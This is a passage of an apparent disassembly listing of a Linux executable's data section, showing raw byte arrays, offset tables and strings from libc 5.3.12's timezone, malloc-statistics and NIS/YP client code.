		db  7Dh	; }
		db    3	;  
		db 0EDh	; М
		db  6Fh	; o
		db  8Ch	; ▄
		db  39h	; 9
		db  6Bh	; k
		db 0F2h	; Р
		db  9Ah	;  
		db  3Bh	; ;
		db  50h	; P
		db 0A4h	; є
		db  94h	; ■
		db 0C9h	; и
		db  43h	; C
		db  17h	;  
		db  34h	; 4
		db 0B5h	; ╣
		db 0B2h	; ╡
		db  97h	; ≈
		db 0A6h	; і
		db  75h	; u
		db 0C1h	; а
		db 0B9h	; ╧
		db  50h	; P
		db 0ACh	; ╛
		db  92h	; ▓
		db  5Bh	; [
		db 0CBh	; к
		db  3Ch	; <
		db    5	;  
		db  62h	; b
		db 0E0h	; Ю
		db 0FFh	;  
		db  61h	; a
		db  97h	; ≈
		db  32h	; 2
		db 0A8h	; ╗
		db  42h	; B
		db  52h	; R
		db 0EAh	; Й
		db 0DFh	; ъ
		db 0DBh	; ш
		db 0CAh	; й
		db  83h	; ┐
		db 0EBh	; К
		db 0F7h	; В
		db 0ADh	; ґ
		db  9Dh	; ²
		db 0E7h	; Г
		db  69h	; i
		db 0EEh	; Н
		db  20h	;  
		db  3Ch	; <
		db  17h	;  
		db  68h	; h
		db  0Ah	;  
		db  1Eh	;  
		db  7Ah	; z
		db 0B9h	; ╧
		db  21h	; !
		db  70h	; p
		db 0FAh	; З
		db  74h	; t
		db  30h	; 0
		db  74h	; t
		db  76h	; v
		db 0A7h	; ї
		db  6Ch	; l
		db  17h	;  
		db 0F6h	; Ж
		db  8Ah	; ┼
		db 0FBh	; Ш
		db  77h	; w
		db 0EBh	; К
		db  9Bh	; ⌡
		db 0A1h	; ║
		db 0ECh	; Л
		db 0DEh	; ч
		db 0F1h	; Я
		db 0BAh	; ╨
		db  92h	; ▓
		db  12h	;  
		db 0B7h	; Ї
		db  63h	; c
		db 0AFh	; ╞
		db  8Bh	; ▀
		db 0C8h	; х
		db  35h	; 5
		db 0DEh	; ч
		db  8Ch	; ▄
		db  8Fh	; ▐
		db 0EBh	; К
		db 0A4h	; є
		db 0E9h	; И
		db 0D5h	; у
		db  37h	; 7
		db 0E1h	; А
		db 0A0h	; ═
		db  64h	; d
		db 0B4h	; Є
		db  40h	; @
		db 0E8h	; Х
		db 0CDh	; м
		db 0D1h	; я
		db  87h	; ┤
		db 0BDh	; Ґ
		db  3Bh	; ;
		db  92h	; ▓
		db  42h	; B
		db 0FFh	;  
		db  62h	; b
		db  8Fh	; ▐
		db 0CDh	; м
		db 0F3h	; С
		db  90h	; ░
		db  26h	; &
		db  2Eh	; .
		db  16h	;  
		db 0DCh	; э
		db  5Eh	; ^
		db    9	;  
		db  1Bh	;  
		db  9Fh	; ÷
		db 0C8h	; х
		db  59h	; Y
		db  5Dh	; ]
		db 0FDh	; Щ
		db 0A8h	; ╗
		db  1Fh	;  
		db  3Dh	; =
		db  75h	; u
		db  38h	; 8
		db  51h	; Q
		db  29h	; )
		db  2Bh	; +
		db  0Ah	;  
		db  39h	; 9
		db  18h	;  
		db  2Fh	; /
		db  15h	;  
		db  80h	; ─
		db  25h	; %
		db 0D9h	; ы
		db 0D8h	; ь
		db  2Dh	; -
		db  3Eh	; >
		db 0D8h	; ь
		db  84h	; └
		db 0F9h	; Ы
		db  74h	; t
		db  2Eh	; .
		db  87h	; ┤
		db  7Ah	; z
		db 0AFh	; ╞
		db  1Fh	;  
		db  9Eh	; ·
		db 0C1h	; а
		db  2Dh	; -
		db  54h	; T
		db  4Dh	; M
		db 0EDh	; М
		db 0D0h	; п
		db 0B5h	; ╣
		db 0F9h	; Ы
		db 0ECh	; Л
		db  75h	; u
		db 0EAh	; Й
		db  62h	; b
		db  94h	; ■
		db 0DFh	; ъ
		db  0Ah	;  
		db  3Ch	; <
		db 0C5h	; е
		db  34h	; 4
		db 0A1h	; ║
		db 0AEh	; ў
		db  0Ch	;  
		db  39h	; 9
		db 0D4h	; т
		db 0A2h	; ╒
		db  37h	; 7
		db  8Ah	; ┼
		db  2Eh	; .
		db 0FAh	; З
		db 0C8h	; х
		db  7Eh	; ~
		db  32h	; 2
		db  81h	; │
		db  21h	; !
		db  27h	; '
		db 0B8h	; ╦
		db  7Bh	; {
		db  6Eh	; n
		db  20h	;  
		db    8	;  
		db  24h	; $
		db  2Dh	; -
		db 0E0h	; Ю
		db  10h	;  
		db 0BEh	; Ў
		db  50h	; P
		db 0B8h	; ╦
		db 0D4h	; т
		db  93h	; ⌠
		db  58h	; X
		db 0B9h	; ╧
		db  2Bh	; +
		db  31h	; 1
		db 0ABh	; ╚
		db  22h	; "
		db  23h	; #
		db  2Bh	; +
		db  1Fh	;  
		db  25h	; %
		db  3Fh	; ?
		db  0Bh	;  
		db  44h	; D
		db 0DEh	; ч
		db  7Eh	; ~
		db  62h	; b
		db 0BFh	; ©
		db  89h	; ┴
		db 0C7h	; г
		db 0DAh	; з
		db  72h	; r
		db  95h	; ∙
		db 0B8h	; ╦
		db    8	;  
		db 0B6h	; І
		db  2Ah	; *
		db  7Eh	; ~
		db  78h	; x
		db  78h	; x
		db 0F0h	; П
		db 0B3h	; Ё
		db 0DEh	; ч
		db  86h	; ├
		db 0ABh	; ╚
		db  7Ah	; z
		db 0EEh	; Н
		db  6Fh	; o
		db 0F4h	; Т
		db  73h	; s
		db  93h	; ⌠
		db 0BBh	; ╩
		db  7Bh	; {
		db 0F5h	; У
		db 0ECh	; Л
		db  27h	; '
		db  7Eh	; ~
		db 0B5h	; ╣
		db 0D8h	; ь
		db 0F7h	; В
		db  9Fh	; ÷
		db  6Ah	; j
		db 0A2h	; ╒
		db 0FCh	; Э
		db 0D2h	; р
		db 0E8h	; Х
		db    4	;  
		db  3Dh	; =
		db 0CBh	; к
		db  13h	;  
		db 0DFh	; ъ
		db 0C9h	; и
		db  6Ah	; j
		db  82h	; ┌
		db  72h	; r
		db  31h	; 1
		db  7Ch	; |
		db  8Dh	; █
		db  9Eh	; ·
		db 0CDh	; м
		db 0E0h	; Ю
		db 0D8h	; ь
		db 0FCh	; Э
		db 0A8h	; ╗
		db  97h	; ≈
		db  94h	; ■
		db 0C3h	; ц
		db 0B2h	; ╡
		db 0D9h	; ы
		db  41h	; A
		db  76h	; v
		db  30h	; 0
		db 0C1h	; а
		db  39h	; 9
		db 0C9h	; и
		db  1Ch	;  
		db 0CFh	; о
		db 0C4h	; д
		db    8	;  
		db  26h	; &
		db 0BFh	; ©
		db 0C7h	; г
		db 0D1h	; я
		db 0B6h	; І
		db  7Eh	; ~
		db  6Ah	; j
		db  32h	; 2
		db  3Dh	; =
		db 0E6h	; Ф
		db  19h	;  
		db 0AFh	; ╞
		db 0EEh	; Н
		db  5Fh	; _
		db 0E2h	; Б
		db  13h	;  
		db  8Eh	; ▌
		db  2Bh	; +
		db  30h	; 0
		db  63h	; c
		db 0EEh	; Н
		db  97h	; ≈
		db  6Dh	; m
		db 0FEh	; Ч
		db  2Dh	; -
		db  58h	; X
		db  1Dh	;  
		db  97h	; ≈
		db  25h	; %
		db 0C4h	; д
		db  3Ch	; <
		db  1Dh	;  
		db 0E4h	; Д
		db  7Ch	; |
		db  62h	; b
		db  80h	; ─
		db  0Ah	;  
		db  9Ah	;  
		db 0B5h	; ╣
		db  8Dh	; █
		db 0ABh	; ╚
		db 0C8h	; х
		db  37h	; 7
		db 0EAh	; Й
		db  9Eh	; ·
		db  77h	; w
		db 0FBh	; Ш
		db  0Ah	;  
		db 0E9h	; И
		db 0CFh	; о
		db  19h	;  
		db 0CAh	; й
		db  90h	; ░
		db  2Ch	; ,
		db  35h	; 5
		db 0E3h	; Ц
		db  9Eh	; ·
		db  50h	; P
		db 0C8h	; х
		db  13h	;  
		db  36h	; 6
		db  82h	; ┌
		db 0D6h	; ж
		db  78h	; x
		db 0FEh	; Ч
		db  50h	; P
		db  6Eh	; n
		db  8Fh	; ▐
		db  78h	; x
		db    4	;  
		db    9	;  
		db    6	;  
		db  5Bh	; [
		db 0A4h	; є
		db 0D1h	; я
		db  1Bh	;  
		db 0B7h	; Ї
		db  34h	; 4
		db 0B5h	; ╣
		db 0ECh	; Л
		db  3Fh	; ?
		db  0Ch	;  
		db  45h	; E
		db  2Ch	; ,
		db 0B3h	; Ё
		db  57h	; W
		db  38h	; 8
		db 0C3h	; ц
		db  20h	;  
		db 0DAh	; з
		db 0CFh	; о
		db 0E9h	; И
		db 0A6h	; і
		db 0CEh	; н
		db 0F4h	; Т
		db  39h	; 9
		db    2	;  
		db  87h	; ┤
		db  71h	; q
		db  49h	; I
		db  48h	; H
		db  95h	; ∙
		db 0DBh	; ш
		db  9Ah	;  
		db 0A1h	; ║
		db  8Ah	; ┼
		db 0EDh	; М
		db  92h	; ▓
		db 0B4h	; Є
		db 0A8h	; ╗
		db 0A6h	; і
		db 0ACh	; ╛
		db  95h	; ∙
		db 0D9h	; ы
		db  6Ch	; l
		db 0CDh	; м
		db  4Dh	; M
		db  50h	; P
		db  23h	; #
		db  1Bh	;  
		db 0CFh	; о
		db  2Ah	; *
		db 0B1h	; ╠
		db 0E8h	; Х
		db 0FBh	; Ш
		db  8Ch	; ▄
		db  77h	; w
		db  67h	; g
		db  1Ah	;  
		db 0CCh	; л
		db  3Ah	; :
		db 0EBh	; К
		db  38h	; 8
		db  83h	; ┐
		db 0A3h	; ё
		db  2Dh	; -
		db 0C3h	; ц
		db 0B1h	; ╠
		db  6Ah	; j
		db  12h	;  
		db 0FBh	; Ш
		db 0A8h	; ╗
		db  40h	; @
		db  3Fh	; ?
		db 0A0h	; ═
		db  46h	; F
		db 0F5h	; У
		db  5Bh	; [
		db 0EDh	; М
		db  24h	; $
		db  47h	; G
		db 0CEh	; н
		db 0E9h	; И
		db 0FDh	; Щ
		db  74h	; t
		db  4Ah	; J
		db  4Ch	; L
		db 0D8h	; ь
		db  30h	; 0
		db 0A1h	; ║
		db  73h	; s
		db  2Dh	; -
		db  0Eh	;  
		db  96h	; √
		db 0D9h	; ы
		db 0C1h	; а
		db 0D6h	; ж
		db 0EBh	; К
		db 0A2h	; ╒
		db 0EBh	; К
		db  6Fh	; o
		db 0ABh	; ╚
		db  94h	; ■
		db  7Ch	; |
		db  3Bh	; ;
		db  23h	; #
		db  6Fh	; o
		db  80h	; ─
		db  60h	; `
		db  12h	;  
		db  49h	; I
		db  73h	; s
		db  9Ah	;  
		db  7Bh	; {
		db  8Eh	; ▌
		db  91h	; ▒
		db  90h	; ░
		db  8Ch	; ▄
		db  4Bh	; K
		db  99h	; ≥
		db 0F9h	; Ы
		db  98h	; ≤
		db 0D2h	; р
		db 0B5h	; ╣
		db  36h	; 6
		db 0E8h	; Х
		db  35h	; 5
		db 0FFh	;  
		db 0DEh	; ч
		db  6Dh	; m
		db 0A9h	; ╘
		db  31h	; 1
		db  9Bh	; ⌡
		db  11h	;  
		db  96h	; √
		db 0BCh	; ╪
		db 0D9h	; ы
		db  0Dh	;  
		db  6Bh	; k
		db  8Dh	; █
		db  3Fh	; ?
		db 0CCh	; л
		db 0C6h	; ф
		db 0FBh	; Ш
		db  66h	; f
		db  25h	; %
		db  28h	; (
		db 0E7h	; Г
		db  82h	; ┌
		db 0B8h	; ╦
		db  72h	; r
		db  3Bh	; ;
		db  9Fh	; ÷
		db  76h	; v
		db 0D6h	; ж
		db  3Dh	; =
		db  34h	; 4
		db  74h	; t
		db 0A6h	; і
		db  9Bh	; ⌡
		db  50h	; P
		db 0FCh	; Э
		db    0	;  
		db  89h	; ┴
		db  77h	; w
		db 0BFh	; ©
		db 0DCh	; э
		db  3Fh	; ?
		db  6Ah	; j
		db  26h	; &
		db 0D6h	; ж
		db 0FDh	; Щ
		db  41h	; A
		db  96h	; √
		db 0AEh	; ў
		db  1Bh	;  
		db  54h	; T
		db  89h	; ┴
		db  4Eh	; N
		db    7	;  
		db  34h	; 4
		db  95h	; ∙
		db  11h	;  
		db    3	;  
		db  0Dh	;  
		db  40h	; @
		db  53h	; S
		db  5Ah	; Z
		db 0D7h	; в
		db  0Dh	;  
		db  8Eh	; ▌
		db  45h	; E
		db  33h	; 3
		db 0B5h	; ╣
		db 0E5h	; Е
		db 0ADh	; ґ
		db  19h	;  
		db  8Fh	; ▐
		db  10h	;  
		db 0BCh	; ╪
		db  89h	; ┴
		db  8Bh	; ▀
		db  10h	;  
		db  54h	; T
		db 0C9h	; и
		db 0A4h	; є
		db  41h	; A
		db  63h	; c
		db  2Bh	; +
		db  3Bh	; ;
		db 0E0h	; Ю
		db  7Fh	; 
		db  3Dh	; =
		db  7Bh	; {
		db  43h	; C
		db  8Eh	; ▌
		db 0EDh	; М
		db 0ACh	; ╛
		db  97h	; ≈
		db  70h	; p
		db  66h	; f
		db 0D6h	; ж
		db 0CBh	; к
		db 0C2h	; б
		db    8	;  
		db  55h	; U
		db  2Ch	; ,
		db  69h	; i
		db 0BCh	; ╪
		db  0Eh	;  
		db  65h	; e
		db 0F0h	; П
		db  2Eh	; .
		db  4Fh	; O
		db  5Ch	; \
		db 0BFh	; ©
		db 0F6h	; Ж
		db  4Fh	; O
		db  90h	; ░
		db 0DFh	; ъ
		db 0A2h	; ╒
		db  85h	; ┘
		db  99h	; ≥
		db  9Eh	; ·
		db 0DDh	; щ
		db 0ADh	; ґ
		db  9Fh	; ÷
		db  39h	; 9
		db 0D2h	; р
		db 0D8h	; ь
		db  5Eh	; ^
		db  32h	; 2
		db  58h	; X
		db  58h	; X
		db  25h	; %
		db 0B9h	; ╧
		db  1Ch	;  
		db 0E5h	; Е
		db 0E3h	; Ц
		db 0D4h	; т
		db 0F1h	; Я
		db 0F4h	; Т
		db  0Fh	;  
		db  9Ah	;  
		db  2Dh	; -
		db 0C0h	; ю
		db  56h	; V
		db    4	;  
		db 0F8h	; Ь
		db  4Eh	; N
		db  8Ch	; ▄
		db  13h	;  
		db  8Ah	; ┼
		db 0A0h	; ═
		db 0C1h	; а
		db 0C8h	; х
		db    1	;  
		db 0FDh	; Щ
		db  13h	;  
		db  71h	; q
		db  76h	; v
		db 0D2h	; р
		db 0E6h	; Ф
		db 0F4h	; Т
		db  34h	; 4
		db 0C2h	; б
		db 0A7h	; ї
		db 0CCh	; л
		db  76h	; v
		db    1	;  
		db  9Dh	; ²
		db 0F2h	; Р
		db  3Dh	; =
		db 0D7h	; в
		db 0D0h	; п
		db  89h	; ┴
		db 0FAh	; З
		db  8Bh	; ▀
		db  4Dh	; M
		db 0CDh	; м
		db  10h	;  
		db  4Fh	; O
		db  54h	; T
		db 0B2h	; ╡
		db 0E0h	; Ю
		db  17h	;  
		db  2Bh	; +
		db  7Dh	; }
		db  5Ch	; \
		db  0Ah	;  
		db 0B7h	; Ї
		db  49h	; I
		db 0FEh	; Ч
		db  86h	; ├
		db 0FDh	; Щ
		db  41h	; A
		db  3Fh	; ?
		db  37h	; 7
		db 0DFh	; ъ
		db 0BBh	; ╩
		db  95h	; ∙
		db  44h	; D
		db  21h	; !
		db 0FDh	; Щ
		db  57h	; W
		db 0E8h	; Х
		db  84h	; └
		db 0D5h	; у
		db  13h	;  
		db 0D3h	; с
		db    0	;  
		db 0BEh	; Ў
		db 0FCh	; Э
		db  96h	; √
		db    4	;  
		db  44h	; D
		db  47h	; G
		db 0BAh	; ╨
		db 0A4h	; є
		db  82h	; ┌
		db 0C9h	; и
		db 0CAh	; й
		db 0E8h	; Х
		db  6Eh	; n
		db  9Eh	; ·
		db 0C2h	; б
		db 0AEh	; ў
		db  38h	; 8
		db  70h	; p
		db 0ECh	; Л
		db  87h	; ┤
		db  19h	;  
		db 0A5h	; ╔
		db    0	;  
		db  70h	; p
		db  3Bh	; ;
		db  33h	; 3
		db 0EEh	; Н
		db 0AEh	; ў
		db  2Ch	; ,
		db 0E4h	; Д
		db  66h	; f
		db 0FFh	;  
		db  25h	; %
		db  6Bh	; k
		db 0FDh	; Щ
		db  8Ah	; ┼
		db  3Bh	; ;
		db 0F6h	; Ж
		db 0B4h	; Є
		db    3	;  
		db 0DCh	; э
		db  91h	; ▒
		db  79h	; y
		db 0BDh	; Ґ
		db 0C7h	; г
		db 0D9h	; ы
		db 0B8h	; ╦
		db  5Ah	; Z
		db  4Eh	; N
		db  68h	; h
		db 0D4h	; т
		db  2Eh	; .
		db  6Ch	; l
		db  1Ah	;  
		db  74h	; t
		db  48h	; H
		db  0Dh	;  
		db  94h	; ■
		db    6	;  
		db 0AFh	; ╞
		db  49h	; I
		db  63h	; c
		db 0DCh	; э
		db  2Fh	; /
		db 0CDh	; м
		db  7Eh	; ~
		db  3Dh	; =
		db 0B0h	; ╟
		db  6Fh	; o
		db  99h	; ≥
		db  74h	; t
		db 0E9h	; И
		db 0F9h	; Ы
		db  67h	; g
		db  78h	; x
		db 0ACh	; ╛
		db  21h	; !
		db  87h	; ┤
		db 0ECh	; Л
		db  52h	; R
		db  4Ah	; J
		db  9Dh	; ²
		db 0DDh	; щ
		db 0BCh	; ╪
		db    0	;  
		db  2Dh	; -
		db 0DDh	; щ
		db  8Eh	; ▌
		db    6	;  
		db 0DEh	; ч
		db  57h	; W
		db  35h	; 5
		db 0F8h	; Ь
		db  59h	; Y
		db 0C7h	; г
		db  41h	; A
		db 0B9h	; ╧
		db 0D4h	; т
		db  56h	; V
		db  39h	; 9
		db 0F2h	; Р
		db    9	;  
		db  54h	; T
		db 0A7h	; ї
		db 0A1h	; ║
		db 0D8h	; ь
		db  3Ch	; <
		db  12h	;  
		db 0ABh	; ╚
		db  0Fh	;  
		db  10h	;  
		db 0B6h	; І
		db 0E2h	; Б
		db  21h	; !
		db  7Bh	; {
		db  3Eh	; >
		db  3Bh	; ;
		db  62h	; b
		db  8Dh	; █
		db  2Eh	; .
		db 0A2h	; ╒
		db  9Dh	; ²
		db  95h	; ∙
		db  92h	; ▓
		db  77h	; w
		db  5Fh	; _
		db 0A3h	; ё
		db 0BCh	; ╪
		db 0A5h	; ╔
		db    3	;  
		db  0Ch	;  
		db  20h	;  
		db  57h	; W
		db 0B4h	; Є
		db 0FCh	; Э
		db  35h	; 5
		db 0E4h	; Д
		db 0C6h	; ф
		db 0B6h	; І
		db  1Bh	;  
		db  28h	; (
		db 0B9h	; ╧
		db  4Eh	; N
		db 0F7h	; В
		db  54h	; T
		db  0Bh	;  
		db  5Dh	; ]
		db  3Dh	; =
		db  21h	; !
		db  1Dh	;  
		db 0CCh	; л
		db  87h	; ┤
		db  6Fh	; o
		db    4	;  
		db  64h	; d
		db  49h	; I
		db  40h	; @
		db  42h	; B
		db 0AEh	; ў
		db  18h	;  
		db  75h	; u
		db 0B2h	; ╡
		db  68h	; h
		db 0D8h	; ь
		db  96h	; √
		db 0B4h	; Є
		db 0D2h	; р
		db  8Bh	; ▀
		db 0F4h	; Т
		db  63h	; c
		db  55h	; U
		db  1Ch	;  
		db 0F5h	; У
		db 0D8h	; ь
		db  34h	; 4
		db 0C2h	; б
		db  70h	; p
		db 0E9h	; И
		db  68h	; h
		db 0F8h	; Ь
		db 0FFh	;  
		db  1Fh	;  
		db  15h	;  
		db 0F9h	; Ы
		db 0A2h	; ╒
		db 0E4h	; Д
		db  7Bh	; {
		db 0AEh	; ў
		db 0EEh	; Н
		db  33h	; 3
		db  11h	;  
		db  27h	; '
		db  22h	; "
		db 0D9h	; ы
		db  0Fh	;  
		db 0BBh	; ╩
		db  32h	; 2
		db  49h	; I
		db  25h	; %
		db  25h	; %
		db 0C0h	; ю
		db  9Fh	; ÷
		db  0Ah	;  
		db 0A6h	; і
		db  64h	; d
		db 0CDh	; м
		db  4Bh	; K
		db  10h	;  
		db  45h	; E
		db    1	;  
		db  29h	; )
		db  30h	; 0
		db  62h	; b
		db    0	;  
		db    0	;  
		db    0	;  
off_8068DAC	dd offset unk_8067FDC	; DATA XREF: sub_8053310+7D2o
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
off_8068DBC	dd offset unk_8067FE8	; DATA XREF: sub_8053310+FC9o
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    7	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F4h	; Т
		db  7Fh	; 
		db    6	;  
		db    8	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    6	;  
		db    8	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Bh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  18h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ch	;  
		db  80h	; ─
		db    6	;  
		db    8	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  36h	; 6
		db    0	;  
		db    0	;  
		db    0	;  
		db  32h	; 2
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db  80h	; ─
		db    6	;  
		db    8	;  
		db    6	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Bh	; k
		db    0	;  
		db    0	;  
		db    0	;  
		db  67h	; g
		db    0	;  
		db    0	;  
		db    0	;  
		db  34h	; 4
		db  80h	; ─
		db    6	;  
		db    8	;  
		db    9	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db    0	;  
		db    0	;  
		db  58h	; X
		db  80h	; ─
		db    6	;  
		db    8	;  
		db  10h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AAh	; ╙
		db    1	;  
		db    0	;  
		db    0	;  
		db 0A6h	; і
		db    1	;  
		db    0	;  
		db    0	;  
		db  98h	; ≤
		db  80h	; ─
		db    6	;  
		db    8	;  
		db  1Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  53h	; S
		db    3	;  
		db    0	;  
		db    0	;  
		db  50h	; P
		db    3	;  
		db    0	;  
		db    0	;  
		db  0Ch	;  
		db  81h	; │
		db    6	;  
		db    8	;  
		db  38h	; 8
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A5h	; ╔
		db    6	;  
		db    0	;  
		db    0	;  
		db 0A2h	; ╒
		db    6	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db  81h	; │
		db    6	;  
		db    8	;  
		db  6Dh	; m
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ah	; J
		db  0Dh	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db  0Dh	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db  83h	; ┐
		db    6	;  
		db    8	;  
		db 0D7h	; в
		db    0	;  
		db    0	;  
		db    0	;  
		db  94h	; ■
		db  1Ah	;  
		db    0	;  
		db    0	;  
		db  90h	; ░
		db  1Ah	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db  86h	; ├
		db    6	;  
		db    8	;  
		db 0ACh	; ╛
		db    1	;  
		db    0	;  
		db    0	;  
		db  27h	; '
		db  35h	; 5
		db    0	;  
		db    0	;  
		db  24h	; $
		db  35h	; 5
		db    0	;  
		db    0	;  
a@TheLinuxCLibr	db '@(#) The Linux C library 5.3.12',0 ; DATA XREF: sub_8053310+403o
					; sub_8053310+C14o ...
		dd offset a@TheLinuxCLibr ; "@(#) The Linux C library 5.3.12"
unk_8068EA0	db  47h	; G		; DATA XREF: sub_805AF2C+8o
					; sub_805AF2C+1Co ...
		db  4Dh	; M
		db  54h	; T
		db    0	;  
unk_8068EA4	db  20h	;		; DATA XREF: sub_805A11C+6o
					; sub_805A11C+10o
		db  20h	;  
		db  20h	;  
		db    0	;  
aLocaltime	db 'localtime',0        ; DATA XREF: sub_805A254+12o
aUsrLibZoneinfo	db '/usr/lib/zoneinfo',0 ; DATA XREF: sub_805A254+37o
asc_8068EC4	db '/',0                ; DATA XREF: sub_805A254+7Fo
					; sub_805A7E4+29Er
		db  8Dh	; █
		db  36h	; 6
unk_8068EC8	db  1Fh	;		; DATA XREF: sub_805A7E4+100r
					; sub_805A7E4+121r ...
		db    0	;  
		db    0	;  
		db    0	;  
unk_8068ECC	db  1Ch	;		; DATA XREF: sub_805A7E4+179r
		db    0	;  
		db    0	;  
		db    0	;  
unk_8068ED0	db  1Fh	;		; DATA XREF: sub_805A7E4+192r
		db    0	;  
		db    0	;  
		db    0	;  
unk_8068ED4	db  1Eh	;		; DATA XREF: sub_805A7E4+1ABr
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8068F28	dd 16Dh			; DATA XREF: sub_805AAC0+242r
					; sub_805B1C4+25Fr ...
		db  6Eh	; n
		db    1	;  
		db    0	;  
		db    0	;  
aPosixrules	db 'posixrules',0       ; DATA XREF: sub_805AAC0+76o
aTz		db 'TZ',0               ; DATA XREF: sub_805AF5C+4o
aSunmontuewedth	db 'SunMonTueWedThuFriSat' ; DATA XREF: sub_805B4E0+34o
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec%.3s %.3s%3d %02.2d:%02.'
					; DATA XREF: sub_805B4E0+28o
		db '2d:%02.2d %d',0Ah,0
aMaxSystemBytes	db 'max system bytes = %10u',0Ah,0 ; DATA XREF: sub_805CBA8+Eo
aSystemBytes10u	db 'system bytes     = %10u',0Ah,0 ; DATA XREF: sub_805CBA8+29o
aInUseBytes10u	db 'in use bytes     = %10u',0Ah,0 ; DATA XREF: sub_805CBA8+44o
aMaxMmapRegions	db 'max mmap regions = %10u',0Ah,0 ; DATA XREF: sub_805CBA8+5Co
		db 3 dup(0)
aYplib_cV2_6199	db 'yplib.c,v 2.6 1994/05/27 14:34:43 swen Exp',0
					; DATA XREF: .data:08078F90o
		db  90h	; ░
dword_8069030	dd 0Ah			; DATA XREF: sub_805CE84+256r
					; sub_805CE84+393r ...
dword_8069034	dd 5			; DATA XREF: sub_805D3A8+18Cr
					; sub_805D638+104r ...
dword_8069038	dd 5			; DATA XREF: sub_805CCB0+12Ar
aVarYpBinding	db '/var/yp/binding',0  ; DATA XREF: sub_805CE84+125o
aSS_D		db '%s/%s.%d',0         ; DATA XREF: sub_805CE84+12Ao
aYpbindproc_dom	db 'YPBINDPROC_DOMAIN: Internal error',0Ah,0 ; DATA XREF: sub_805CE84+2ECo
aYpbindproc_d_0	db 'YPBINDPROC_DOMAIN: No bound server for domain %s',0Ah,0
					; DATA XREF: sub_805CE84+2F8o
aYpbindproc_d_1	db 'YPBINDPROC_DOMAIN: Resource allocation failure',0Ah,0
					; DATA XREF: sub_805CE84+30Co
aYpbindproc_d_2	db 'YPBINDPROC_DOMAIN: Unknown error',0Ah,0 ; DATA XREF: sub_805CE84+314o
aFcntlF_setfd	db 'fcntl: F_SETFD',0   ; DATA XREF: sub_805CE84+434o
aYp_matchClnt_c	db 'yp_match: clnt_call',0 ; DATA XREF: sub_805D3A8+15Co
aYp_firstClnt_c	db 'yp_first: clnt_call',0 ; DATA XREF: sub_805D638+D4o
aYp_nextClnt_ca	db 'yp_next: clnt_call',0 ; DATA XREF: sub_805D814+F4o
aClnttcp_create	db 'clnttcp_create failed',0Ah,0 ; DATA XREF: sub_805DA10+B1o
aYp_orderClnt_c	db 'yp_order: clnt_call',0 ; DATA XREF: sub_805DB54+D0o
aYp_masterClnt_	db 'yp_master: clnt_call',0 ; DATA XREF: sub_805DC70+AAo
aYp_maplistClnt	db 'yp_maplist: clnt_call',0 ; DATA XREF: sub_805DDA8+A8o
aSuccess	db 'Success',0          ; DATA XREF: sub_805DE9C+5Co
aRequestArgumen	db 'Request arguments bad',0 ; DATA XREF: sub_805DE9C+68o
aRpcFailure	db 'RPC failure',0      ; DATA XREF: sub_805DE9C+74o
aCanTBindToServ	db 'Can',27h,'t bind to server which serves this domain',0
					; DATA XREF: sub_805DE9C+80o
aNoSuchMapInSer	db 'No such map in server',27h,'s domain',0 ; DATA XREF: sub_805DE9C+8Co
aNoSuchKeyInMap	db 'No such key in map',0 ; DATA XREF: sub_805DE9C+98o
aYpServerError	db 'YP server error',0  ; DATA XREF: sub_805DE9C+A4o
aLocalResourceA	db 'Local resource allocation failure',0 ; DATA XREF: sub_805DE9C+B0o
aNoMoreRecordsI	db 'No more records in map database',0 ; DATA XREF: sub_805DE9C+BCo
